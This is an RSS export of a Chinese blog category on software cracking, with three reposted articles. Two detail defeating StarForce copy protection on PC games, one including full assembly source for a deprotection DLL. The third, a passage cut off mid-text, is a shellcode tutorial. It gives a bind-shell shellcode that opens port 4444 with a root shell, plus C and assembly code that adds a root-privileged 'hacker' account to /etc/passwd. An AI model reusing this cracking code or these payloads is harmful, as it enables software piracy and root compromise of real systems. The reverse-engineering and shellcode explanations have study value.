﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-心野的小巢-文章分类-软件破解</title><link>http://www.cnitblog.com/torch/category/2471.html</link><description /><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 13:37:30 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 13:37:30 GMT</pubDate><ttl>60</ttl><item><title>[转]軒轅劍伍：一劍凌雲山海情</title><link>http://www.cnitblog.com/torch/articles/15209.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 13 Aug 2006 15:50:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/15209.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/15209.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/15209.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/15209.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/15209.html</trackback:ping><description><![CDATA[軒轅劍伍：一劍凌雲山海情<br /><br />PEiD探壳:StarForce V3.X -&gt; StarForce Copy Protection System [Overlay] *<br /><br />軒轅劍伍繁体CD版是可以通过双机模拟iSCSI绕过STARFORCE的(参考游侠网上文章),脱壳前要先能双机进游戏,或者如果有正版也行<br /><br />安装完后先观察目录,所有文件包括动画都有,而且只要一开始通过了StarForce验证后,即使拿出盘也可以玩,这就是说只要脱了壳就可免CD<br /><br />OD加载swd5.exe,还没见到入口就挂了<br /><br />注意游戏目录下有个文件binkw32.dll,这个显然是播放BIK动画的<br />STARFORCE再流氓总不能程序异常出错连个非法操作也不跳出来吧?抓住这个问题就可以把OD载进去<br />先修改binkw32.dll中有个函数_BinkOpen(从名字可以猜出来播放动画肯定要调用它),在此函数入口加个int3<br />运行游戏,一放开场动画果然非法,事先把OD设为默认调试器,这个时候点调试就可以乘虚而入了<br /><br />大概调了一下发现F8,F7是不行的,会被SF发现,不过既然SF买int3的帐,当然就可以F2+F9,这样和F8也差不多，只是麻烦一点<br /><br />利用binkw32.dll断下来后就可以DUMP了,抓下来IDA一看,没想到代码居然没有变过型,入口很清楚,就在0065D00E处,而且IDA还可以把VC库函数都识别出来,SF在这方面倒是挺安分的...<br /><br />但这不是在OEP脱的,为什么非要在OEP呢?因为在OEP时全局变量没有被动过,这是非常重要的<br />举个例子,以上在binkw32.dll中断所DUMP的文件,即使把OEP,IAT修复还是会出错,这个错误出在EnterCriticalSection,因为VC的启动代码会初始化一个临界区全局变量,就是mlock.c中的PCRITICAL_SECTION _locktable[_TOTAL_LOCKS],而上面所DUMP文件中这个量并非为0,因此启动代码会认为已经初始化,从而跳过初始化过程,所以EnterCriticalSection时传递的就是无效临界区<br />程序一旦经历了后面的代码,全局变量也就不同了,人一旦经历了有些事,也就不再是原来那个人了,现在的尔玛再回山里放羊又焉能心境淡远如初?所以这么DUMP是不行的,就算可以把引起异常的变量都一一修复掉,那些不会引起异常的逻辑错误又怎么办?有些内在的东西一旦变了,不是那么容易就能变回去的<br /><br />所以还是要在OEP处DUMP,OD根本无法在调试状态下运行游戏,怎么停在OEP呢?<br />别忘了SF发现没放光盘还会提醒放入后重试,乘此良机又可钻进去:<br />先拿出光盘,运行swd5.exe,此刻kernel32.dll等文件都已经加载到内存,用WinHex编辑内存,修改GetVersion最后一行ret为CC,我的机器上这个地址是7C8114DB,然后放入光盘,点重试,SF是很给CC面子的,于是乖乖的在GetVersion非法<br />此时DUMP的文件只要修正下入口点就算是在OEP处DUMP的了<br /><br />然而IDA载入后却发现很多库函数都残废了,只有到运行时SF才会补上代码,想要精神和肉体都同时不受束缚怎么可能?现实总是充满矛盾<br />幸而在CPU里发生的事没有那么残酷,两全其美还是可能的<br />binkw32.dll处DUMP精神残废肉体健全,GetVersion处DUMP肉体残废精神正常,既然如此不妨各取其完好的地方重新拼装一个:<br />VC的全局变量段在IDA里很好识别的,swd5.exe的变量段就是006BD000处大小为297000的_brick段<br />将OEP处DUMP文件中的这个段保存下来并复制到binkw32.dll处DUMP的文件,这个文件就同时具有正确的代码和变量<br /><br />但它仍然不健全,开两个OD加载DUMP的文件和在停在GetVersion的文件,打开内存镜像对比,会发现DUMP的文件少了很多快内存段<br />这些内存段是SF动态申请的,每次地址都不同,我脱壳时这种内存有57块,地址从1220000到02200000,大小各不相同,1000,10000,40000...<br />这些里面放的是SF初始化后的变量,大概是用了SDK的原因,因为全局变量中有指向这些动态内存的指针,试想在OEP时什么都没运行,怎么会有静态指针指向动态数据?可能的解释只能是一部分变量由SF初始化(这里面包括当前的游戏目录字符串)<br /><br />这样的话只好写个loader修复了,内存段太多,不可能全保存到exe里,我写了个由ini配置文件载入段的loader,在附件中<br />在OEP处将57个段保存下来并DUMP修复全局变量段,同时保存IAT(addr=00697FFC size=340)这时用loader先载入内存段,加CC中断在OEP,再用OD载入调试,再载入IAT,这时F9已经可以免CD运行游戏了,SF所HOOK的IAT指向了那57个内存段,虽然没有识别出来,不过运行是没问题的<br /><br />IAT没有识别毕竟遗憾,但这时的程序已经脱离了老流氓的魔抓,可以用OD正常调试,要修复IAT还会难吗?<br />imprec分析后大概有20多个函数未知,用OD载入一一修复,这些函数是SF模拟了部分系统代码,对比一下还是容易识别出来的<br />比如00698060这个IAT干脆没有调用任何API,不过其中有一行指令shrd eax,edx,18<br />只要在kernel32.dll模块中搜索这个指令很容易发现00698060就是kernel32.GetTickCount<br />再比如006980FC壳代码有一行mov eax,dword ptr ds:[7C88303C],搜索此行发现是IsBadReadPtr<br />后面有个把API指令不怎么特殊,搜索不管用了,可以让OD分析user32.dll,kernel32.dll,然后call到系统DLL里时根据交叉参考分析出来<br />比如006982D4这个IAT,壳代码先调用了77D184D0,进入user32.dll,OD中间的窗口显示有所有call到这里的来源,点开"显示全部跳转和局部调用"那个窗口,一一查看,因为壳代码调用完77D184D0接着就调用了77D1B65A,所以只要看哪一个下面有call 77D1B65A,很快就发现这是GetClientRect<br />比较邪的就是HeapAlloc/HeapFree这两个函数,如果系统是XP直接定向到ntdll里,在kernel32.dll里干脆没这个符号(感谢blackthink,DiKeN,Erika,bbbsl几位朋友的帮助)<br />另外,有好几个函数在IDA里可看到有库函数调用,这就更容易,只要打开VC6的库函数代码对比一下就发现了<br />附件中有一个完整的IAT<br /><br />修完IAT后可以不用OD载入,直接用loader载入内存段就能运行,进一步处理懒得弄了(游戏目录被定死)<br /><br />轩辕剑5是个好游戏,在大陆上市了我肯定会买正版的,如今象大宇这样还在做单机RPG的公司不多了,而且简体版马上要在大陆发行,各位朋友要是做出免CD补丁,烦请别放到网上,以保护正版<br /><br />DonQuixote[CCG][iPB]<br />Email:DonQuixote@mail.nankai.edu.cn<br />2006/8/12 <img src ="http://www.cnitblog.com/torch/aggbug/15209.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-08-13 23:50 <a href="http://www.cnitblog.com/torch/articles/15209.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>转载一篇StarForce的脱壳</title><link>http://www.cnitblog.com/torch/articles/15208.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 13 Aug 2006 15:31:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/15208.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/15208.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/15208.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/15208.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/15208.html</trackback:ping><description><![CDATA[2000 年终最值得纪念的恐怕就是 Cossacks : The European wars －－第一个使用Star-Force 保护系统游戏的推出了。Star-Force的出现给程序研究者带来了很多新的问题，现在是给这些问题一个答案的时候了。 <br />  <br />Star-Force是怎样的保护？ <br />  <br />这个保护系统最强的主要是以下几点：它的核心是一个伪代码的解释器，伪代码<br />大大复杂了对Star-Force的研究工作；一部分导入函数(imported function) <br />的代码是从系统库中拷贝出来并进行修改过的；一部分程序代码只有在执行时候才解密出来。除了这些，保护中还大量的应用了下面这些手段：检测某些内存段的CRC 校验和，经常性地将调试寄存器DRx清零，利用RDTSC指令来控制解码不同块代码的时刻（译者注：这句不是很明白，此句是对照两种不同的英文机器译本硬译出的），最后一块代码的解码甚至是通过截获int0在 ring0 中进行的。关于这个保护的详细情况我大致就介绍这么多，因为我们将另辟蹊径，使这些保护方法中的大多数在我们面前根本起不了作用。 <br /><br />Dump <br />在这个版本中Dump还是一件很简单的事情，在protect.dll中跳转到原始入口点 <br />之前大致是这样的代码： <br />push 64h <br />MOV of eax, [Kernel32!Sleep ] <br />call eax <br />ret <br />因此我们设一个 bpx Sleep，启动游戏，在断点处停下来，跟进 ret 指令，然 <br />后用PEditor之类就可以dump了。 <br />  <br />恢复import <br />  <br />Star-Force所使用的import保护技术是我所见过的保护程序中最强的一种。在传<br />统的保护中一般最后都是跳转到真正的函数入口处，或者跳转到真正函数入口几条指令之 <br />后的地方。在Star-Force中，所有从kernel32.dll user32.dll advapi32.dll <br />中import的函数代码都整个被拷贝到保护代码的内存中了(除了push,pop,jxx 指令)，拷 <br />贝过来的代码按照下面的规则进行了修改： <br />1: ?????? 改成 nop 和 jmp short $2 (译者注：这里没有一个软件可以正确 <br />翻译出原来的代码，大家猜猜是什么呢？) <br />2: push 12345678h 修改成 <br />MOV eax, 12345678h <br />xchg eax, [esp] <br />3: push esi 修改成 <br />xchg eax, esi <br />push eax <br />xchg eax, esi <br />4: pop esi 修改成 <br />MOV esi, eax <br />pop eax <br />xchg eax, esi <br />5: 两字节的 jcc 代码被修改成 6 字节的相应代码 (译者注：即 0F 开头的相对跳转代码) <br />6: 两字节的 push 00h 修改成 5 字节的版本 import 函数入口的长跳转 jmp X 修改成 jmp $+5 ，在首次执行到入口时，X指向的代码进行将windows库函数代码复制和修改的一系列工作，并将 jmp 指令指向修改后的代码。（译者注：原文说得不是很清楚，这一段是按照自己的理解翻译的，可能有误）不过就这个游戏来说，被保护的函数只有11个，因此我决定用手动恢复它们（在我后来对游戏Venom的研究中解决了这个问题）：把代码手动转换回原始的形式，用sice在内存中搜索入口前10个字节左右相同的库函数。找出的函数结果按照在保护代码的内存中位置排列如下： <br />ReadFile, GetUserNameA, FindNextFileA, WriteFile, VirtualFree, GetFileType,VirtualAlloc, CreateFileA, DeleteFileA, FindClose, MessageBoxA <br />将所有import都手动恢复以后，我们就使用一个我常用的工具 ImportList by Boris来重建 IT。我们把它放进 dump 里面，这部分的工作就完成了。 <br />恢复 _DllDispatch 的代码还没有看晕？那我们进行下一步工作。在我们 dump 出来的代码中大约有20多处（！）调用了 _DllDispatch -- protect.dll中唯一的导出函数。调用它的代码大概看起来是这样的： <br />push ID <br />call _DllDispatch <br />其中 ID 这个参数决定了哪一段代码需要被解码并执行，ID = 0 的情况是将主 <br />程序解码出来。值得注意的是，解码出来的代码仍然包含着对 _DllDispatch 的调用。但是这个 _DllDispatch是用前面提到过的伪代码引擎执行的伪代码。怎么办呢？自己跟踪每一个调用直到跳转到实际的代码？（译者注：自己的理解）你如果愿意试可以自己去试，不过我将提供一种更有趣的方法，一次性自动获得所有被保护的代码。为了做到这一点就需要自己写点程序了。 <br />首先我们知道一旦被执行过一次，需要的代码就以解密的形式存在内存中了，怎么捕捉到这一时刻呢？很简单，每个这样的函数多少都会执行到原来的代码中，因此我们可以截获对_DllDispatch的调用，在将控制权交给protect.dll之前，把原代码段统统清成0CCh，这样从解码出来的代码跳转出来到任何地方都会触发中断，我们截获int 3就可以处理之。更进一步的，我们从ring0的堆栈中找到ring3的堆栈标志，然后就可以很快找到解码出来的代码了。 <br />  <br />对实现的一些说明 <br />  <br />为了方便处理类似的游戏，我建议将我们的deprotect.dll 加入到程序的import中，它就可以截获protect.dll的入口了，不过这时程序的代码还没有被解码出来，只有一个指向protect.dll中的入口调用。我们把它修改一下，使得当protect.dll将代码段解码之后将控制权返回给我们的dll, 接下来我们搜索游戏的代码，就可以找到很多对_DllDispatch的调用，以及它们对应的ID，把ID都存到一个文件里面以避免出现重复的。 <br />然后我们挨个用这些ID调用_DllDispatch，在 int 3 的处理函数里面将控制权正确的交给我们的搜索-恢复函数。我们需要在解码出的代码中继续搜寻对 _DllDispatch的调用以得到全部代码。当然还得把调用这一次DllDispatch的代码修改成直接调用解密代码。 <br />因此搜索需要进行两遍，一遍在原来的代码中，另一遍在解密后的代码中。 <br />全部工作做完以后，我们得到了两个文件，一个是text.bin，这是程序代码段中的代码，另一个是code.bin，这是经_DllDispatch解密出的代码,需要手动加到dump中去。整个EXE文件组装完毕后, protect.dll 就没用了，可以删掉。 <br />  <br />最后的一点修正 <br />  <br />启动解密后的游戏试验一下，结果很令人失望：金钱狂涨到无限多，任务说明不<br />显示，TCP/IP联网对战时选择地图后不生成地图。前两个问题好像是文件名的问题，把可执行文件改成 dmcr.exe 就正常了，最后一个错误原因是对某一个_DllDispatch的恢复时出错，大约是这个_DllDispatch中没有跳到其他的代码，就没有被我们的程序捕捉到（译者注：这里大概是一个没有调用任何其他函数的函数），导致最后生成的代码里面有一个错误的调用。这样的函数是我们研究的一个盲点，不过就这个例子来说很好解决，手动跟踪了一下，看出这个函数的地址(译者注：在解码内存区域中的偏移量) 是0A3Ch，手动修改一下调用，把5个nop改成对这里的调用就可以了。 <br />现在所有的问题都解决了，Star-Force完全被搞定了。 <br />  <br />源程序 <br />  <br />deprotect.asm (7K) 源程序，使用 TASM5.0 编译成 DLL <br />deprotect.dll (8K) 编译好的DLL文件 <br /><br />注意：这个DLL只适用于文中提到的游戏。 <br />（译者注：上面两个程序的URL如下 <br />http://www.reversing.net/articles/122001/deprotect.asm <br />http://www.reversing.net/articles/122001/deprotect.dll <br />） <br /><br />附deprotect.asp<br /><br />.586p<br />.model flat, stdcall<br /><br />extrn  ExitProcess:PROC, CreateFileA:PROC, WriteFile:PROC, \<br />CloseHandle:PROC, VirtualAlloc:PROC, GetModuleHandleA:PROC, \<br />GetProcAddress:PROC, GetCommandLineA:PROC<br /><br />publicdll _DllPatch<br /><br />;------------------------------------------------------------------------<br />.data ; Данные<br />;------------------------------------------------------------------------<br /><br />DllName db 'protect.dll',0<br />FuncName db '_DllDispatch',0<br />CodePath db 'code.bin',0<br />TextPath db 'text.bin',0<br /><br />FirstJump  dd 0<br />_DllDispatch dd 0<br />_DllDispatchInExe dd 0<br />CodeSection dd 0 ; Смещение секции кода<br /><br />Buf dd 0 ; Буфер под секцию кода<br />FoundCode dd 0 ; Буфер для найденного кода<br />IdCalls dd 0 ; Буфер для идентификаторов<br /><br />_edi dd 0<br />_ecx dd 0<br /><br />Base dd 0<br />Base1 dd 0<br />SearchSize dd 0<br />SearchStep db 0<br />BufSize dd 300000h<br /><br />NewCodeSectionRVA dd 0 ; Адрес новой секции<br />IdCallsOffset dd 0 ; Смещение в массиве идентификаторов<br />CodeOffset dd 0 ; Смещение в найденном коде<br />EntryPoint dd 0 ; Точка входа<br /><br />int3 dd 0 ; Адрес INT3<br /><br />Address dq 0 ; Временные переменные<br />Temp dd 0<br /><br /><br />;------------------------------------------------------------------------<br />.code ; Код<br />;------------------------------------------------------------------------<br /><br />start:<br />cmp dword ptr [esp+8],1<br />jne DontInit<br /><br />call VirtualAlloc, 0, BufSize, 1000h, 4 ; Память под буфера<br />mov Buf,eax<br /><br />call VirtualAlloc, 0, 10000h, 1000h, 4<br />mov FoundCode,eax<br /><br />call VirtualAlloc, 0, 100h, 1000h, 4<br />mov IdCalls,eax<br /><br />call GetModuleHandleA, offset DllName ; Настройка констант<br />call GetProcAddress, eax, offset FuncName<br /><br />mov _DllDispatch,eax<br /><br />call GetCommandLineA<br /><br />inc eax<br />push eax<br /><br />mov edi,eax<br />mov ecx,100h<br />mov eax,'"'<br />repnz scasb<br />dec edi<br />xor eax,eax<br />stosd<br /><br />call GetModuleHandleA<br />mov NewCodeSectionRVA,eax<br /><br />mov edi,[eax+3Ch] ; PE-смещение<br />add edi,eax<br /><br />mov edx,[edi+50h]<br />add NewCodeSectionRVA,edx<br /><br />mov edx,[edi+2Ch]<br />add edx,eax<br />mov CodeSection,edx<br /><br />mov edx,[edi+28h]<br />add edx,eax<br />mov EntryPoint,edx<br /><br />mov eax,[edi+100h]<br />shr eax,2<br />inc eax<br />shl eax,2<br />mov BufSize,eax<br /><br />mov esi,offset codestart ; Изменить код на старте<br />mov edi,edx<br />mov ecx,[edi+1]<br />add ecx,edi<br />add ecx,5<br />mov FirstJump,ecx<br />mov ecx,offset codeend<br />sub ecx,esi<br />rep movsb<br /><br />DontInit:<br />xor eax,eax<br />inc eax<br />ret 0Ch<br /><br />codestart:<br />push offset Control+5 ; Наш код на старте exe-шника<br />mov eax,FirstJump<br />jmp eax<br />codeend:<br /><br />;------------------------------------------------------------------------<br />; Процедура, получающая управление после полной распаковки кода<br /><br />Control:<br /><br />mov eax,_DllDispatch ; Настройка констант<br />mov edi,CodeSection<br />xor ecx,ecx<br />dec ecx<br />_s:<br />repnz scasd<br /><br />mov edx,[edi+4]<br />shr edx,18h<br />cmp dl,0BFh<br />jne _s<br /><br />mov eax,edi<br />sub eax,4<br />mov esi,CodeSection<br />_s1:<br />inc esi<br />cmp eax,[esi]<br />jne _s1<br /><br />cmp word ptr [esi-2],25FFh<br />jne _s1<br /><br />lea eax,[esi-2]<br />mov _DllDispatchInExe,eax<br /><br /><br />mov ecx,BufSize ; Скопировать секцию кода<br />shr ecx,2<br />mov edx,ecx<br />mov edi,Buf<br />mov esi,CodeSection<br />rep movsd<br /><br />mov ecx,edx ; Сменить секцию кода на INT3<br />mov eax,0CCCCCCCCh<br />mov edi,CodeSection<br />rep stosd<br /><br />mov eax,offset Address ; Установить свой обработчик INT3<br />sidt [eax]<br />mov edx,[eax+2]<br /><br />add edx,8*3<br />mov cx,[edx+6]<br />shl ecx,10h<br />mov cx,[edx]<br /><br />mov int3,ecx<br /><br />mov ebx,offset Int3Handler<br />mov [edx],bx<br />shr ebx,10h<br />mov [edx+6],bx<br /><br />mov eax,Buf<br />mov Base,eax<br /><br />mov eax,CodeSection<br />mov Base1,eax<br /><br />mov eax,BufSize<br />sub eax,4<br />mov SearchSize,eax<br /><br />GFind:<br />mov ecx,SearchSize ; Искать 'call _DllDispatch'<br />mov edi,Base<br />mov _edi,edi<br />mov _ecx,ecx<br /><br />Find: <br />mov edi,_edi<br />mov ecx,_ecx<br />mov al,0E8h<br />repnz scasb<br /><br />test ecx,ecx<br />jne ConStep<br /><br />inc SearchStep ; Обеспечить два прохода<br />cmp SearchStep,2<br />je Exit<br /><br />mov eax,FoundCode<br />mov Base,eax<br />mov eax,NewCodeSectionRVA<br />mov Base1,eax<br />mov eax,CodeOffset<br />mov SearchSize,eax<br /><br />jmp GFind<br /><br />ConStep:<br />mov _edi,edi<br />mov _ecx,ecx<br /><br />mov ebx,[edi]<br />sub edi,Base<br />add edi,Base1<br />add ebx,edi<br />add ebx,4<br /><br />cmp ebx,_DllDispatchInExe<br />jne Find<br /><br />mov edi,_edi<br />mov eax,[edi-5] ; Получить идентификаторы<br /><br />mov edi,IdCalls ; Не дублироваться<br />mov ecx,IdCallsOffset<br />shr ecx,2<br />test edi,edi<br />repnz scasd<br /><br />setz cl<br />test cl,cl<br />je Insert<br /><br />mov edx,[edi]<br /><br />jmp Begin<br />Insert:<br />stosd<br />mov eax,CodeOffset<br />stosd<br /><br />add IdCallsOffset,8<br />mov edx,CodeOffset<br /><br />Begin:<br />mov edi,_edi ; Исправление вызвавшего call'а<br />sub edi,6<br />mov eax,90909090h<br />stosb<br />mov esi,[edi]<br />stosd<br />inc edi<br />mov eax,NewCodeSectionRVA<br />add eax,edx<br />sub eax,Base1<br />sub eax,edi<br />add eax,Base<br />sub eax,4<br />stosd<br />sub dword ptr [edi+2],4<br /><br />test cl,cl<br />jne Continue<br /><br />push esi ; Вызвать очередной _DllDispatch<br />call _DllDispatch<br /><br />Continue:<br />jmp Find<br /><br />Exit:<br />mov eax,offset Address ; Восстановить IDT<br />sidt [eax]<br />mov edx,[eax+2]<br />add edx,8*3<br /><br />mov ebx,int3<br />mov [edx],bx<br />shr ebx,10h<br />mov [edx+6],bx<br /><br />call WriteResults<br />call ExitProcess, 0<br /><br />;-----------------------------------------------------<br />Int3Handler: ; Обработчик INT3       <br />;-----------------------------------------------------<br /><br />pushfd<br />pushad<br /><br />mov eax,offset Continue ; Вернуться из обработчика к нам<br />mov [esp+24h],eax<br /><br />mov ax,8B55h ; Найти очередной call<br />mov edi,[esp+30h]<br />mov edi,[edi]<br />mov ecx,1000h<br />_loop1:<br />cmp [edi],ax<br />je l1<br />dec edi<br />loop _loop1<br /><br />l1:<br />mov esi,edi<br /><br />mov ax,0C35Dh<br />mov ecx,1000h<br />_loop2:<br />cmp [edi],ax<br />je l2<br />inc edi<br />loop _loop2<br />l2:<br />mov ecx,edi ; Поправить call'ы в найденном коде<br />sub ecx,esi<br />add ecx,2<br />mov edx,ecx<br /><br />mov edi,FoundCode<br />add edi,CodeOffset<br /><br />_jmp:<br />cmp byte ptr [esi],0E8h<br />jne _move<br />mov eax,[esi+1]<br />add eax,esi<br />cmp eax,600000h<br />jg _move<br />cmp eax,400000h<br />jl _move<br /><br />mov eax,[esi+1]<br />add eax,FoundCode<br />add eax,esi<br />sub eax,edi<br />sub eax,NewCodeSectionRVA<br />mov [esi+1],eax<br /><br />_move:<br /><br />movsb ; Скопировать очередной call<br />dec ecx<br />jne _jmp<br /><br />add CodeOffset,edx<br /><br />popad<br />popfd<br /><br />iretd<br /><br />;------------------------------------------------------------------------<br />; Запись результатов<br /><br />WriteResults:<br /><br />call CreateFileA, offset CodePath, 40000000h, 0, 0, 2, 80h, 0<br />call WriteFile, eax, FoundCode, CodeOffset, offset Temp, 0<br />call CloseHandle, eax<br /><br />call CreateFileA, offset TextPath, 40000000h, 0, 0, 2, 80h, 0<br />call WriteFile, eax, Buf, BufSize, offset Temp, 0<br />call CloseHandle, eax<br /><br />ret<br /><br />;------------------------------------------------------------------------<br />; Экспортируемая функция для удобства добавления библиотеки в EXE<br /><br />_DllPatch:<br /><br />ret<br /><br />;------------------------------------------------------------------------<br /><br />end start <img src ="http://www.cnitblog.com/torch/aggbug/15208.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-08-13 23:31 <a href="http://www.cnitblog.com/torch/articles/15208.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出是如何工作的（英文）？</title><link>http://www.cnitblog.com/torch/articles/12835.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 25 Jun 2006 08:56:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/12835.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/12835.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/12835.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/12835.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/12835.html</trackback:ping><description><![CDATA[
		<span class="tpc_title">How Shellcodes Work</span>
		<br />
		<br />
		<span class="tpc_content">by Peter Mikhalenko<br />05/18/2006 <br /><br />It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.<br /><br /><font color="blue">How an Exploit Works</font><br />Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code1">char shellcode[] =<br />"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"<br />"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"<br />"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"<br />"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"<br />"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"<br />"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"<br />"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code1'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.<br /><br />Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty simple.<br /><br />As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.<br /><br /><font color="blue">What Is It For?</font><br />To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm), ndisasm, and hexdump. Most Linux distributions include these by default.<br /><br /><font color="blue">The Process of Building</font><br />Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code2">#include &lt;stdio.h&gt;<br />#include &lt;fcntl.h&gt;<br /><br />main() {<br />  char *filename = "/etc/passwd";<br />  char *line   = "hacker:x:0:0::/:/bin/sh\n";<br />  int f_open;<br />  f_open       = open(filename,O_WRONLY|O_APPEND);<br />  write(f_open, line, strlen(line));<br />  close(f_open);<br />  exit(0);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code2'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.<br /><br /><font color="darkred">Here is a more usable example: executing a Bourne shell</font>:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code3">#include &lt;stdio.h&gt;<br /><br />main() {<br />  char *name[2];<br />  name[0] = "/bin/sh";<br />  name[1] = NULL;<br />  setreuid(0, 0);<br />  execve(name[0],name, NULL);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code3'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file, argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.<br /><br />Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a similar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code4">section .data<br />filename db '/etc/passwd', 0<br />line db 'hacker:x:0:0::/:/bin/sh',0x0a<br /><br />section .text<br />global _start<br /><br />_start:<br />; open(filename,O_WRONLY|O_APPEND)<br />mov eax, 5<br />mov ebx, filename<br />mov ecx, 1025<br />int 0x80<br />mov ebx, eax<br /><br />; write(f_open, line, 24)<br />mov eax, 4<br />mov ecx, line<br />mov edx, 24<br />int 0x80<br /><br />; close(f_open)<br />mov eax, 6<br />int 0x80<br /><br />; exit(0)<br />mov eax, 1<br />mov ebx, 0<br />int 0x80</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code4'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code 